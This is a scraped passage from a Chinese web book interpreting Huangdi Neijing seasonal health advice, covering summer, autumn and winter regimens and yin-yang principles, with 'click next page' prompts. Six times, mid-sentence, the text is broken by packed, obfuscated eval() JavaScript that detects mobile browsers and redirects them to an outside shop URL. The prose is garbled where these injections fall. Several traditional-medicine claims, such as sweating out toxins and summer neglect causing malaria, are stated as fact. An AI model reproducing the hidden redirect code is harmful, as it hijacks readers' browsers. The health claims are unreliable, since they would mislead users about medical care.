“夜卧早起”是指在夏季应适当晚睡早起。这是因为夏季白昼时间长，夜晚相对较短，人体阳气也随之旺盛。为了顺应这一自然规律，我们应适当延长活动时间，减少睡眠时间，以保持旺盛的精力。当然，这里所说的“晚睡”并不是指熬夜，而是指相对于其他季节稍微晚一些入睡。 “无厌于日”则是提醒我们在夏季要充分利用阳光。阳光是生命之源，不仅能提供光明和温暖，还有助于人体合成维生素D等有益物质。因此，在夏季我们应该多晒太阳，但也要注意避免长时间暴露在烈日下，以免中暑。 “使志无怒”则强调了夏季养生中情绪调节的重要性。夏季天气炎热，人容易烦躁不安，情绪波动大。为了保持身心的和谐与健康，我们应该学会调节自己的情绪，保持平静的心态。可以通过听音乐、阅读、冥想等方式来放松自己，缓解压力。 “使华英成秀”则是指夏季是万物生长的季节，我们应该让身体也顺应这一自然规律，使体内的阳气得到充分发散和表达。这样不仅可以促进身体健康，还可以增强人体的抵抗力和免疫力。 “使气得泄”则是指夏季要适当出汗，让体内的湿气、毒素等有害物质通过汗液排出体外。这样可以保持体内环境的清洁和平衡，有助于身体健康。但也要注意不要过度出汗，以免耗伤体内的阳气。 “若所爱在外”则是指夏季应该多参加户外活动，感受大自然的魅力。这不仅可以锻炼身体、增强体质，还可以愉悦心情、陶冶情操。在户外活动中，我们可以欣赏美丽的自然风光、呼吸新鲜的空气、感受大自然的恩赐和力量。 只有顺应自然规律、保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428593|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身心和谐与健康、积极参与户外活动并享受大自然的恩赐和力量，我们才能度过一个健康、快乐、充实的夏季。 “逆之则伤心，秋为痎疟，奉收者少，冬至重病”是对违反夏季养生原则后可能导致的后果的描述。 “逆之则伤心”意味着如果我们不按照夏季养生的原则来调养身心，就会伤害到心脏。在中医理论中，夏季是阳气最旺盛的季节，而心脏则是阳气的代表。如果我们在夏季不顺应自然规律，比如过度贪凉、长时间处于空调环境中，或者情绪波动过大等，都会伤害到心脏，导致心悸、失眠、多梦等症状。 “秋为痎疟”则是说，如果在夏季没有调养好身体，到了秋季就容易出现疟疾等疾病。这是因为夏季阳气旺盛，如果我们在此时没有让体内的阳气得到充分的发散和表达，到了秋季阳气开始收敛时，就容易出现阳气不足的情况，从而引发各种疾病。 “奉收者少”指的是如果在夏季没有养好身体，到了秋季收获的季节，我们的身体也会“收获”得很少。这里的“收获”可以理解为身体的健康和精力的充沛程度。如果在夏季没有顺应自然规律来调养身心，那么到了秋季就会感到身体疲惫、精力不足，甚至可能出现各种疾病。 “冬至重病”则是说，如果我们在夏季没有调养好身体，到了冬至这个阴气最盛的时节，就可能会出现严重的疾病。这是因为冬至时阴气达到顶峰，而我们的身体在夏季没有得到充分的调养和储备，就难以抵御阴气的侵袭，从而导致疾病的发生。 这句话 告诫我们在夏季要顺应自然规律来调养身心，保持充足的睡眠和适当的运动，避免过度贪凉和情绪波动等不良习惯。只有这样，我们才能保持身体的健康和精力的充沛，迎接秋季和冬季的到来。 第2章 （3）秋季养生，你不得不知的N个知识点 关于“秋三月，此为容平”这一中医养生理念，为我们揭示了秋季养生的重要原则。这句话不仅描述了秋季自然界的变化，也为我们提供了秋季养生的具体方法。 “容平”二字，概括了秋季自然界万物开始收敛、阳气逐渐减退、阴气逐渐增长的特点。在这个季节里，万物由生长转为成熟，逐渐趋于平定。而“水始涸”则直观地描绘了秋季雨水减少，河流湖泊水位逐渐降低的景象。 在秋季养生方面，中医提倡“天人合一”的理念，即人体的生命活动应当与自然界的阴阳消长、四时变化等相协调。因此，在秋季，我们应该顺应自然界的变化，调整自己的生活方式。 具体来说，秋季养生应注重以下几个方面： 1. 调和情志：秋季容易使人感到悲凉、忧郁，因此要注意调和情志，保持心情愉悦。可以通过欣赏美景、听音乐、与朋友交流等方式来调节心情，避免情绪过度波动。 2. 早睡早起：秋季应早睡早起，使肺气得以舒展。这有助于收敛神气，保持内心平静，防止秋燥伤人。 3. 适度锻炼：秋季是运动锻炼的好时节，但运动时要适度，避免过度出汗，以防耗伤阳气。可以选择一些轻松舒缓的运动方式，如散步、太极拳、瑜伽等。 4. 注意保暖：秋季气温逐渐降低，早晚温差较大，因此要注意保暖，避免感冒。特别是老年人和体质较弱的人，更要注意添加衣物，防止受寒。 5. 调理饮食：秋季饮食应以滋阴润燥为主，适当食用一些具有润肺、生津、清热作用的食物，如梨、藕、百合、萝卜等。同时，也要注意饮食规律，避免暴饮暴食。 6. 养护肺气：秋季是肺气旺盛的季节，也是肺脏容易受损的季节。因此，要注意养护肺气，避免过度用嗓、吸烟等不良习惯。可以通过深呼吸、练习呼吸操等方式来增强肺功能。 “秋三月，在秋季要注重收敛与藏养，通过调和情志、早睡早起、适度锻炼、注意保暖、调理饮食和养护肺气等方式来调养身心，以达到养生保健的目的。同时，也要关注自然界的变化，与自然环境和谐共生。 “使志安宁，以缓秋刑”是指在秋季，由于气候的变化和自然界的影响，人们容易产生情绪波动，如悲秋之情。因此，保持内心的平静和安宁，避免过度悲伤和忧郁，是秋季养生的重要方面。 “收敛神气，使秋气平”则强调了秋季养生需要收敛神气，保持内心的宁静和稳定。秋季是一个收获的季节，也是一个内敛的季节，人体的神气也需要随之收敛，以保持身心的平衡和稳定。 “无外其志，使肺气清”意味着在秋季，我们应该避免过度发散思维和过度用脑，以减轻肺气的负担，保持肺气的清新和畅通。因为秋季是肺气旺盛的季节，如果过度用脑或情绪波动过大，容易影响肺气的正常运行。 通过调整作息、保持内心平静、收敛神气、减轻肺气负担等方式，可以顺应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428594|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然界的变化，达到养生保健的目的。 我们谈到“逆之则伤肺，冬为飧泄，奉藏者少”这样一句关于秋季养生不当所带来后果的警示。这句话提醒我们，如果不顺应秋季的养生之道，可能会伤害到肺脏，进而导致在冬季出现消化不良、腹泻等症状，并且还会影响冬季的“藏精”功能，使得身体储备的精气不足。 让我们来解读“逆之则伤肺”这句话。秋季是肺气旺盛的季节，也是肺脏容易受损的季节。如果在这个季节里，我们不按照“早卧早起，与鸡俱兴，使志安宁”等原则来养生，就可能导致肺气受损，进而引发各种呼吸系统的疾病。 “冬为飧泄”这句话则描述了秋季养生不当对冬季健康的影响。由于秋季没有养好肺气，到了冬季，身体的抵抗力就会下降，容易出现消化不良、腹泻等症状。这里的“飧泄”是指食物没有完全消化就被排出体外，反映了脾胃功能的失调。 “奉藏者少”则揭示了秋季养生不当对冬季“藏精”功能的影响。在中医理论中，“藏精”是指身体在冬季通过储存精气来为来年春天的生长和发育做准备。如果秋季没有养好肺气，就会影响到冬季的“藏精”功能，使得身体储备的精气不足，从而影响到来年的健康。 因此，我们在秋季养生时，一定要顺应自然界的规律，调整作息、饮食、运动等方面，以达到保健养生的目的。同时，也要注意关注自己的身体状况，及时调整养生策略，以避免出现上述不良后果。 第2章 （4）冬季养生小课堂：让你温暖又健康 对于“冬三月，此为闭藏。水冰地坼”这句话，我们已经探讨了其深厚的中医养生智慧和冬季自然界的景象。接下来，我将进一步为大家阐述冬季养生的具体方法和注意事项。 说到“养藏”，这是冬季养生的核心。在这个寒冷的季节，我们应该尽量减少身体的消耗，为体内的阳气提供充足的储备，以备来年春天的生发。早晨，我们可以适当赖床几分钟，享受被窝的温暖，让阳气得以潜藏。晚上则应早睡早起，保证充足的睡眠，让阳气在夜晚得到充分的修复和增长。 在饮食方面，冬季是进补的好时机。我们可以适当多吃一些温补的食物，如羊肉、鸡肉、核桃、桂圆等，这些食物可以增强体内的阳气，帮助我们抵御寒冷。同时，我们也要尽量避免食用寒凉的食物，以免损伤脾胃，影响阳气的收藏。 运动方面，虽然冬季天气寒冷，但适当的运动仍然是必要的。我们可以选择一些低强度的运动方式，如散步、太极拳、瑜伽等。这些运动既可以增强我们的身体抵抗力，又不会过度消耗体内的阳气。 情绪方面，冬季天气阴冷，人们容易感到情绪低落、压抑。因此，我们要尽量保持积极的心态，多参加一些社交活动，与朋友交流，以缓解压力，保持良好的情绪状态。 最后，保暖是冬季养生不可忽视的一环。我们要特别注意头部、颈部、脚部等容易受寒的部位，可以选择穿一些保暖性能好的衣物，如羽绒服、羊毛衫等。同时，也要注意室内温度的调节，避免过度寒冷或过度干燥。 总之，冬季养生是一个需要综合考虑多个方面的过程。通过合理的起居、饮食、运动、情绪调节和保暖措施，我们可以更好地顺应自然规律，达到身心健康的目的。希望这些建议能对大家有所帮助，让我们共同度过一个健康、温暖的冬季。 “使志若伏若匿，若有私意，若已有得，去寒就温，无泄皮肤，使气亟夺”是中医养生理论中关于冬季养生的重要指导原则。 “使志若伏若匿”意味着在冬季，人们应该让自己的思绪像潜伏或隐匿起来一样，避免过度的思考或担忧，以保持内心的宁静和平和。这是因为冬季阳气内藏，阴气外盛，过度的思考和担忧会消耗体内的阳气，不利于养生。 “若有私意，若已有得”则是提醒我们在冬季要专注于自我修养，不要过度关注外界的纷扰和诱惑，保持内心的满足和宁静。这种心态有助于我们更好地保存体内的阳气，为来年的生发储备能量。 “去寒就温”则是强调在冬季要注意保暖，避免寒冷对身体的伤害。我们可以通过穿着保暖的衣物、调节室内温度等方式来保持身体的温暖。同时，也要避免过度食用寒凉的食物或饮品，以免损伤脾胃，影响阳气的收藏。 “无邪皮肤”则是提醒我们在冬季要注意保护皮肤，避免过度暴露在外界环境中。因为冬季天气干燥寒冷，皮肤容易失水和受损。我们可以通过涂抹保湿霜、穿着保暖的衣物等方式来保护皮肤。 “使气亟夺”则是指冬季养生要注意收敛体内的阳气，避免过度消耗。过度的活动和劳作会消耗体内的阳气，导致身体虚弱和免疫力下降。因此，在冬季我们应该适当减少剧烈活动，保持身体的休息和放松。 总之，内心宁静、保暖、保护皮肤、收敛阳气等方面的养生方法。通过遵循这些原则，我们可以更好地适应冬季的气候变化，保持身心健康。 “逆之则伤肾，春为痿厥，奉生者少”这句话，它确实深刻揭示了冬季养生不当对身体的潜在危害，并预示了可能在未来季节（如春季）出现的健康问题。冬季养生的重要性不容忽视，因为在这个季节，自然界呈现一种“闭藏”的状态，阳气内藏，阴气外盛。为了顺应这一自然规律，我们确实应该减少剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428595|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈活动，保证充足的睡眠，适当进食温补食物，以增强体内的阳气，抵御寒冷。 如果我们在冬季违背了这一养生原则，比如过度操劳、熬夜、食用寒凉食物等，就会损伤体内的阳气，尤其是肾阳。肾阳作为生命的原动力，它的损伤不仅会影响冬季的健康，还会对未来的春季健康造成隐患。因此，养护肾阳在冬季显得尤为重要。 要更好地养护肾阳，预防春季可能出现的健康问题，我们可以从以下几个方面入手： 首先，注重饮食的调养。在冬季，可以适当多吃一些温补的食物，如羊肉、鸡肉、牛肉等肉类，以及核桃、桂圆、红枣等干果类。这些食物能够温补肾阳，增强体内的阳气。同时，也要避免过度食用寒凉的食物，如冷饮、冰淇淋等，以免损伤脾胃和肾阳。 其次，适当的运动也是必不可少的。虽然冬季天气寒冷，但适当的运动可以促进血液循环，增强身体的抵抗力。我们可以选择一些低强度的运动方式，如散步、慢跑、太极拳等，避免剧烈运动导致阳气过度消耗。 除了饮食和运动外，情绪的调节也很重要。冬季天气阴冷，人们容易感到情绪低落、压抑。因此，我们要尽量保持积极的心态，多参加一些社交活动，与朋友交流，以缓解压力，保持良好的情绪状态。 最后，保暖措施也不容忽视。冬季气温低，人们要特别 注意保暖，尤其是头部、颈部、脚部等容易受寒的部位。可以选择穿一些保暖性能好的衣物，如羽绒服、羊毛衫等，同时也要注意室内温度的调节，避免过度寒冷或过度干燥。 冬季养生是一个需要综合考虑多个方面的过程。通过合理的饮食、适当的运动、情绪的调节和保暖措施，我们可以更好地养护肾阳，为春季的生发储备足够的能量。只有这样，我们才能拥有一个健康的身心状态，迎接每一个充满希望的春天。 第2章 （5）养生达人必知的黄金原则，你掌握了吗？ “夫四时阴阳者，万物之根本也”这句话，如同古人留给我们的一个密码，解码后便是中国古代医学的瑰宝与智慧。用精炼的语言阐述了自然界中四季阴阳变化的规律，以及这种规律如何影响万物的生长、发展和变化。 “四时”即春、夏、秋、冬四季，它们不仅仅是时间的流转，更是自然界阴阳消长变化的直观体现。而“阴阳”，则是中医理论中的核心概念，它描述了宇宙间一切事物相互对立而又相互依存的关系。这种关系，如同太极图中的阴阳鱼，相互交织，生生不息。 在中医看来，人体的生命活动与自然界的阴阳消长变化是息息相关的。春生、夏长、秋收、冬藏，人体的生理功能也会随着季节的更替而发生相应的变化。因此，我们需要在生活中顺应四时阴阳的变化，来调养身体，维护健康。 比如，春季阳气生发，万物复苏。此时人体气血也开始向外发散，养生应顺应阳气升发的特点，注意疏肝理气、调和情志。夏季阳气旺盛，人体新陈代谢旺盛，应顺应阳气的盛实状态，注意养心阳、防暑热。秋季阴气渐长，阳气开始收敛，应顺应阳消阴长的特点，注意养阴润燥、调和肺气。冬季阴气盛而阳气潜藏，应顺应阳藏阴消的特点，注意养藏肾阳、防寒保暖。 这句话不仅揭示了自然界中阴阳变化的普遍规律，也强调了人体生命活动与自然界的密切联系和相互依存关系。在现代社会中，我们同样可以从中汲取养生智慧，指导我们的健康生活。 进一步探讨其背后的哲学思想，我们会发现这句话实际上在阐述一种宇宙观和生命观。它告诉我们，万物都是阴阳两种相反相成的力量相互作用的产物，而四季的变化正是这种力量变化的外在表现。阴阳之间的平衡与和谐，是万物生长、繁衍的基础。 从中医的角度来看，这种阴阳平衡的观念也被应用于诊断和治疗疾病。中医认为，人体的健康状态就是阴阳平衡的状态，一旦阴阳失衡，就会导致各种疾病的发生。因此，中医的治疗方法也是通过调整人体的阴阳平衡来达到治疗疾病的目的。 在现代社会中，我们同样可以借鉴这种阴阳平衡的观念来指导我们的生活和养生。在饮食方面，我们应该根据四季的变化来选择合适的食物，以维持体内的阴阳平衡。在作息方面，我们也应该根据季节的变化来调整自己的作息习惯，以保证身体的健康。 “夫四时阴阳者，万物之根本也”这句话还告诉我们，自然界的规律是客观存在的，人类应该顺应自然规律，而不是违背它。只有顺应自然规律，才能实现人与自然的和谐共生，达到可持续发展的目标。 总之，“我们应该深入理解其背后的哲学思想，将其应用到实际生活中去，以实现身心的健康和人与自然的和谐共生。 您对于“春夏养阳，秋冬养阴”这一中医养生原则的解读非常深入，不仅提到了顺应四季阴阳变化的重要性，还进一步探讨了这一原则背后的深层含义和实践方法。 “春夏养阳，秋冬养阴”并非简单的字面意思，它涉及到了人体内外环境的整体调养。在春夏季节，阳气生发，万物生长，我们应该顺应这一自然规律，通过多晒太阳、进行户外活动、适当锻炼等方式来增强身体的阳气，促进新陈代谢和生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428596|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长发育。同时，保持积极乐观的心态同样重要，因为正面的情绪同样有助于阳气的生发。 而在秋冬季节，阴气收藏，万物潜藏。此时，我们应该注重养阴，通过保持室内温暖、避免过度劳累、多食用滋阴润燥的食物等方式来滋养阴液，保护身体的阴气。同时，学会内敛、减少过度的社交活动，让身心得到充分的休息和恢复，也是非常重要的。 “以从其根”这一观点强调了养生要追根溯源，找到问题的根本所在。在中医理论中，身体的疾病往往是由于阴阳失衡、气血不畅等内在因素引起的。因此，在养生过程中，我们应该注重调理身体的内在环境，通过食疗、按摩、针灸等方法来调和阴阳、疏通气血，从而达到治病救人的目的。 “故与万物沉浮于生长之门”则进一步强调了人与自然的紧密联系。生命是一个不断循环的过程，生与死、盛与衰都是自然现象。我们应该学会接受生命的自然规律，不要过分追求长生不老或永远年轻。相反，我们应该珍惜每一个生命阶段，体验不同的生活状态，享受生命带来的美好和喜悦。 在实践中，我们可以将这一养生原则融入到日常生活中。例如，在春夏季节，选择进行户外运动、登山、游泳等活动来增强身体的阳气；在秋冬季节，则可以选择进行室内瑜伽、冥想等活动来调养身心。在饮食上，根据季节的变化选择合适的食材和烹饪方式，如春夏季节多吃清淡的蔬菜水果、少吃油腻辛辣的食物；秋冬季节则多吃温热滋补的食物、少吃生冷寒凉的食物。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第2章 （6）揭秘养生原则，让你远离亚健康 道者圣人行之，愚者佩之。从字面意思上看，这句话是说，道”是圣人用来实践的，而愚者只是挂在嘴边。但深入解读，我们可以发现它揭示了“道”的两种截然不同的对待方式。圣人，作为有智慧、有德行的人，他们深刻理解“道”的内涵，并将其融入自己的生活和行为之中，通过实践来体现“道”的精神。而愚者，虽然可能听说过“道”，但由于缺乏足够的智慧和理解，只能将其当作一种外在的装饰或标签，而无法真正领悟和实践其内涵。 在中国古代哲学中，“道”通常指的是宇宙间万事万物运行的规律和法则，也是人生应该遵循的准则和道路。老子认为，“道”是宇宙间最高的真理，是万物之源，是万物之母，是一切事物发展变化的根源。因此，理解和实践“道”，对于个人的修身养性、治理国家乃至宇宙间的和谐运行都具有重要的意义。 在现代社会，这句话依然具有深刻的启示意义。首先，它强调了实践的重要性。我们很容易在快节奏、信息爆炸的现代社会中迷失于知识的海洋，满足于表面的认同和模仿，却忽略了真正将知识转化为实践的重要性。真正的智慧，需要通过实际行动去体验、去验证。 其次，这句话揭示了认知的层次性。不同的人对“道”的理解和实践程度是不同的。有些人可能只是停留在表面的认同和模仿，而有些人则能够深入领悟其内涵，并将其融入自己的生活和行为之中。这种层次性不仅体现在对“道”的理解上，也体现在对人生、对世界的认知上。 这句话也提醒我们要有敬畏之心。无论是面对自然界的规律还是人类社会的法则，我们都应该保持一种敬畏的态度。不要轻易地认为自己已经掌握了所有的真理和智慧，而要保持一种开放的心态，不断地接受新的挑战和考验。同时，也要尊重他人的观点和选择，不要因为自己的认知层次高就轻易地对他人进行评判和指责。 总的来说，“道者圣人行之，愚者佩之”这句话虽然简短，但蕴含了丰富的哲理和智慧。它告诉我们，要真正理解和实践“道”，需要不断地学习、探索和实践，并保持一种敬畏和开放的心态。只有这样，我们才能逐渐提升自己的认知层次和人生境界，成为真正的智者。 “从阴阳则生，逆之则死；从之则治，逆之则乱”这句话，是中医阴阳理论的经典阐述。在中医看来，阴阳不仅是宇宙间最基本的两种对立统一关系，更是人体生命活动的根本。它们相互依存、相互制约、相互转化，共同维持着人体的正常生理功能。 我们来说说“从阴阳则生”。这里的“从”字，可以理解为顺应、遵从。当人体的阴阳处于平衡状态时，身体的各项机能就能正常运行，人也就能保持健康、充满活力。反之，“逆之则死”，若阴阳失衡，则会导致疾病甚至死亡。 接下来看“从之则治”。在中医治疗中，医生会根据病人的具体情况，通过调整阴阳平衡来达到治疗疾病的目的。比如，对于阴虚火旺的病人，医生会采用滋阴降火的方法；对于阳虚阴盛的病人，则会采用温阳散寒的方法。这种顺应阴阳规律的治疗方法，往往能够取得较好的疗效。 而“逆之则乱”则强调了在治疗过程中违背阴阳规律的后果。如果治疗方法与病人的阴阳状态相悖，不仅治疗无效，还可能使病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428597|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情恶化。比如，对于阴虚火旺的病人，若采用温阳散寒的方法，就会加重阴虚火旺的症状，使病情更加严重。 那么，如何在日常生活中维护阴阳平衡呢？我们可以从以下几个方面入手： 一、生活方式与阴阳平衡 在饮食方面，我们应该根据季节和体质来选择合适的食材，避免过于辛辣或寒凉的食物，以保持体内阴阳的和谐。在作息方面，要遵循自然规律，保证充足的睡眠，避免过度劳累，以维持体内阴阳的稳定。 二、中医治疗的阴阳平衡观 在中医治疗中，阴阳平衡观是非常重要的指导思想。医生会根据病人的具体情况，通过望、闻、问、切四诊合参，判断病人的阴阳偏盛或偏衰，从而选择合适的中药或针灸等治疗方法。这种基于阴阳平衡的治疗方式，能够有效地治疗疾病，并调节身体的整体机能。 三、心态与阴阳平衡 心态的平和也是保持阴阳平衡的重要因素。过度的情绪波动会打破体内的阴阳平衡，导致各种疾病的发生。因此，我们应该学会调节自己的情绪，保持心态的平和和稳定。通过冥想、瑜伽、太极等身心修养方式，可以帮助我们调节体内的阴阳平衡，达到身心的和谐。 四、环境与阴阳平衡 环境也是影响人体阴阳平衡的重要因素。我们应该根据季节和气候的变化来调整自己的生活方式和饮食习惯，以适应环境的变化。同时，我们也应该注重居住环境的舒适和卫生，避免不良环境对身体的影响。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第3章 生气通天论（1）天地之气与人的关系 关于《生气通天论》的深入解读，确实为我们揭示了中医理论中阳气与自然界阴阳变化相互关系的深刻内涵。阳气作为生命活动的根本动力，其重要性不言而喻。它与自然界阳气的相通相应，使得人体的生理功能与外部环境保持着微妙的平衡。 当谈到人体内部的阴阳平衡时，《生气通天论》为我们提供了宝贵的指导。阴阳失衡，无论是阳气的亢盛或不足，还是阴液的亏损或过多，都会导致各种疾病的发生。因此，保持阴阳平衡成为了中医养生和治疗的重要原则。 在日常生活中，我们可以从多个方面来实践《生气通天论》中的理论。首先，饮食调养是调节阴阳平衡的重要手段。通过合理搭配食物，选择适合自己的食材，可以有效地调节体内的阴阳平衡。比如，在冬季增加温性食物的摄入，夏季则选择清凉食物，都是顺应自然、调节阴阳的好方法。 其次，情志的调节也是至关重要的。保持愉悦的心情、避免过度焦虑和压力，可以维护气机的正常运行，从而保持阴阳平衡。通过参加一些有益的活动、与他人沟通交流、学会释放压力等方式，可以有效地调节情志。 此外，适当的运动也是维护阴阳平衡的重要手段。运动可以促进气血流通、增强体质，同时也有助于调节情志。但是需要注意的是，运动要适度，避免过度运动导致阳气耗散。 顺应自然界的阴阳变化规律也是非常重要的。在春季阳气生发的时候，我们可以适当增加户外活动；在秋季阴气收敛的时候，则要注意保暖。这些都是顺应自然、调节阴阳的具体实践。 《生气通天论》为我们提供了一套全面的健康指南。通过饮食调养、情志调节、运动锻炼和顺应自然等方式，我们可以实现身体健康和心理平衡，享受更加美好的生活。在日常生活中，我们应该时刻关注自己的身体状况，积极调整自己的生活方式，以维护阴阳平衡、保持健康。 原文谈到“天地之间，六合之内，其气九州、九窍、五脏十二节，皆通乎天气。”这句话出自《黄帝内经》，是中医理论中关于人体与自然界相应关系的经典描述。 我们来解析这句话的意思。九州，指的是中国古代划分的九个地理区域，这里可以理解为大地或地域的广义范畴。九窍，通常指的是人体的眼、耳、口、鼻等七个感觉器官以及前阴和后阴两个排泄器官，这里泛指人体的各种孔窍。五脏，即心、肝、脾、肺、肾，是中医理论中人体内部的五个主要器官。十二节，则是指人体12大关节的组成，我们可以从多个角度来理解。首先，从藏医学的角度来看，人体关节被分为12大关节，主要包括手部6大关节和足部6大关节。由于很多朋友不知道，那现在我具体具体来说一下： 手部6大关节： 1. 腕关节：人体有两个腕关节，位于前臂与手掌之间，是手部活动的重要枢纽。 2. 肘关节：同样有两个，位于上臂与前臂之间，负责手臂的屈伸运动。 3. 肩关节：人体也有两个肩关节，位于上肢与躯干之间，是一个典型的多轴单关节，能实现多种运动，如屈、伸、内收、外展、旋内、旋外等。 足部6大关节： 1. 踝关节：有两个，位于小腿与足部之间，主要负责足部的背屈和跖屈等运动。 2. 膝关节：同样有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428598|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个，位于大腿与小腿之间，是人体最大且结构最复杂的关节，主要功能是屈伸。 3. 髋关节：人体也有两个髋关节，位于躯干与大腿之间，是一个多轴性关节，能做屈伸、收展、旋转及环转运动，并主要承担负重和传导下肢力量的功能。 从更广泛的角度来看，人体中还有许多其他重要的关节，如下颌关节、颈椎关节、胸椎关节、腰椎关节、指关节和趾关节等，这些关节都在各自的位置上发挥着重要的作用，共同维持着人体的正常活动。 人体的关节系统复杂而精密，每一个关节都在其特定的位置上发挥着不可或缺的作用。 人体与自然界之间存在着密切的联系。人体内的五脏六腑、九窍十二节等，都与自然界的天气变化相通相应。当天气发生变化时，人体的内环境也会相应地发生调整，以适应外界的变化。 具体来说，人体的五脏六腑、九窍十二节等，都是气血运行的通道和场所。当天气变化时，如气温升降、湿度变化等，都会影响到人体内的气血运行。例如，在寒冷的天气里，人体内的气血会趋向于内敛，以抵御外界的寒冷；而在炎热的天气里，人体内的气血则会趋向于外散，以调节体温。这种变化是人体为了适应外界环境而做出的自然反应。 中医还认为，人体的健康与否也与自然界的阴阳五行等变化密切相关。当人体内的阴阳五行平衡时，身体就会处于健康状态；而当这种平衡被打破时，就会导致各种疾病的发生。因此，中医强调“天人合一”的思想，认为人体与自然界之间存在着不可分割的联系。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第3章 （2）掌握清静之道，志意与阳气自然和谐 关于“掌握清静之道，志意与阳气自然和谐”这一道家养生的深邃哲理，我认为这不仅是一种修炼身心的法则，更是一种生活的艺术。 清静之道，顾名思义，就是要让我们的内心达到一种宁静淡泊的状态，不为外界的纷扰所动摇。在这样的心境下，我们的志意（即意志和意念）与体内的阳气（中医理论中的生命能量）能够自然和谐，相互促进。这种和谐的状态，就如同琴弦上的和谐音符，让身心达到一种最佳的平衡。 在道家思想中，清静被视为修身养性的重要手段。通过减少欲望、摒弃杂念，我们能够保持内心的宁静，使志意更加坚定，阳气更加旺盛。正是人体健康长寿的关键。志意坚定的人，能够抵御外界的诱惑和干扰，保持内心的平和与稳定。这种平和的心态有助于调节体内的气血运行，促进阳气的生成与流通。 当然，要进一步深入探讨这一话题，我们还需要从更宽广的视角去理解。首先，掌握清静之道并不仅仅是一种修身养性的手段，更是一种生活的智慧。在快节奏的现代生活中，我们往往被各种欲望和杂念所困扰，导致内心难以平静。然而，当我们学会放下这些不必要的负担，专注于内心的宁静时，我们会发现生活变得更加简单而充实。 在中医理论中，阳气被视为生命的原动力，它能够促进气血的流通，维持身体的正常功能。而志意则是人的意志和意念，它能够影响人的行为和情绪。当志意与阳气和谐时，人的身体健康和心理健康都能够得到保障。 具体来说，我们可以从以下几个方面去实践清静之道： 1. 修炼内心：通过冥想、禅修等方式，让我们的内心逐渐平静下来，减少杂念和欲望的干扰。 2. 适当运动：适当的运动能够促进气血的流通，增强身体的阳气。但切记不要过度运动，以免耗损阳气。 3. 合理饮食：饮食应以清淡为主，避免过度摄入油腻、辛辣的食物。同时，要保证营养均衡，让身体得到充分的滋养。 4. 规律作息：良好的作息习惯有助于调节身体的生物钟，保持阳气的稳定生成和流通。 